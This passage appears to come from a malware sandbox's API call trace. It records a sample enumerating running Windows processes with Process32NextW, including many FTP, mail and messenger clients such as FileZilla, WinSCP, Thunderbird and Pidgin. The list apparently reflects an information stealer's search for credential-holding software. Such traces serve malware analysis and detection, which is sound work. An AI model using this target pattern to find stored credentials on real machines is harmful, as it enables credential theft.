lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.659] lstrlenW (lpString="winlogon.exe") returned 12 [0075.659] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.660] lstrlenW (lpString="services.exe") returned 12 [0075.660] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.662] lstrlenW (lpString="lsass.exe") returned 9 [0075.662] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0075.665] lstrlenW (lpString="lsm.exe") returned 7 [0075.665] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.667] lstrlenW (lpString="svchost.exe") returned 11 [0075.667] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.668] lstrlenW (lpString="svchost.exe") returned 11 [0075.668] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.670] lstrlenW (lpString="svchost.exe") returned 11 [0075.670] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.672] lstrlenW (lpString="svchost.exe") returned 11 [0075.672] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.674] lstrlenW (lpString="svchost.exe") returned 11 [0075.674] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0075.675] lstrlenW (lpString="audiodg.exe") returned 11 [0075.676] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.677] lstrlenW (lpString="svchost.exe") returned 11 [0075.677] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.680] lstrlenW (lpString="svchost.exe") returned 11 [0075.680] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0075.681] lstrlenW (lpString="dwm.exe") returned 7 [0075.681] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0075.683] lstrlenW (lpString="explorer.exe") returned 12 [0075.683] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0075.685] lstrlenW (lpString="spoolsv.exe") returned 11 [0075.685] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.687] lstrlenW (lpString="taskhost.exe") returned 12 [0075.687] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.689] lstrlenW (lpString="svchost.exe") returned 11 [0075.689] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0075.691] lstrlenW (lpString="taskeng.exe") returned 11 [0075.691] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0075.692] lstrlenW (lpString="taskhost.exe") returned 12 [0075.693] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.694] lstrlenW (lpString="svchost.exe") returned 11 [0075.694] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0075.854] lstrlenW (lpString="sppsvc.exe") returned 10 [0075.854] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.856] lstrlenW (lpString="svchost.exe") returned 11 [0075.856] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0075.857] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0075.857] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0075.859] lstrlenW (lpString="visa thought.exe") returned 16 [0075.859] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0075.860] lstrlenW (lpString="instrumental.exe") returned 16 [0075.861] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0075.862] lstrlenW (lpString="mouth tree.exe") returned 14 [0075.862] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0075.864] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0075.864] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0075.865] lstrlenW (lpString="thisul.exe") returned 10 [0075.865] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0075.867] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0075.867] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0075.868] lstrlenW (lpString="tired grad keep.exe") returned 19 [0075.869] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0075.870] lstrlenW (lpString="basename_nested.exe") returned 19 [0075.870] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0075.872] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0075.872] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0075.873] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0075.874] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0075.875] lstrlenW (lpString="exotic.exe") returned 10 [0075.875] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0075.877] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0075.877] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0075.879] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0075.879] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0075.880] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0075.881] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0075.883] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0075.883] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0075.885] lstrlenW (lpString="patient.exe") returned 11 [0075.885] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0075.886] lstrlenW (lpString="corps.exe") returned 9 [0075.886] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0075.888] lstrlenW (lpString="inquire.exe") returned 11 [0075.888] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0075.889] lstrlenW (lpString="3dftp.exe") returned 9 [0075.889] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0075.891] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0075.891] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0075.893] lstrlenW (lpString="alftp.exe") returned 9 [0075.893] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0075.894] lstrlenW (lpString="barca.exe") returned 9 [0075.894] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0075.896] lstrlenW (lpString="bitkinex.exe") returned 12 [0075.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.600] lstrlenW (lpString="coreftp.exe") returned 11 [0076.600] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.602] lstrlenW (lpString="far.exe") returned 7 [0076.602] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.603] lstrlenW (lpString="filezilla.exe") returned 13 [0076.603] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.605] lstrlenW (lpString="flashfxp.exe") returned 12 [0076.605] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.606] lstrlenW (lpString="fling.exe") returned 9 [0076.607] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.608] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0076.608] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.611] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0076.611] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.613] lstrlenW (lpString="icq.exe") returned 7 [0076.613] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0076.615] lstrlenW (lpString="leechftp.exe") returned 12 [0076.615] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.618] lstrlenW (lpString="ncftp.exe") returned 9 [0076.618] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.620] lstrlenW (lpString="notepad.exe") returned 11 [0076.620] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.622] lstrlenW (lpString="operamail.exe") returned 13 [0076.622] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.625] lstrlenW (lpString="pidgin.exe") returned 10 [0076.625] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.627] lstrlenW (lpString="scriptftp.exe") returned 13 [0076.627] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.750] lstrlenW (lpString="skype.exe") returned 9 [0076.750] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.752] lstrlenW (lpString="smartftp.exe") returned 12 [0076.752] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0076.788] lstrlenW (lpString="thunderbird.exe") returned 15 [0076.788] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.790] lstrlenW (lpString="totalcmd.exe") returned 12 [0076.790] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.792] lstrlenW (lpString="trillian.exe") returned 12 [0076.792] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.795] lstrlenW (lpString="webdrive.exe") returned 12 [0076.795] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.797] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.797] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.799] lstrlenW (lpString="winscp.exe") returned 10 [0076.799] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.802] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.802] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.804] lstrlenW (lpString="active-charge.exe") returned 17 [0076.804] Process32NextW (in: hSnapshot=0x1a0, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 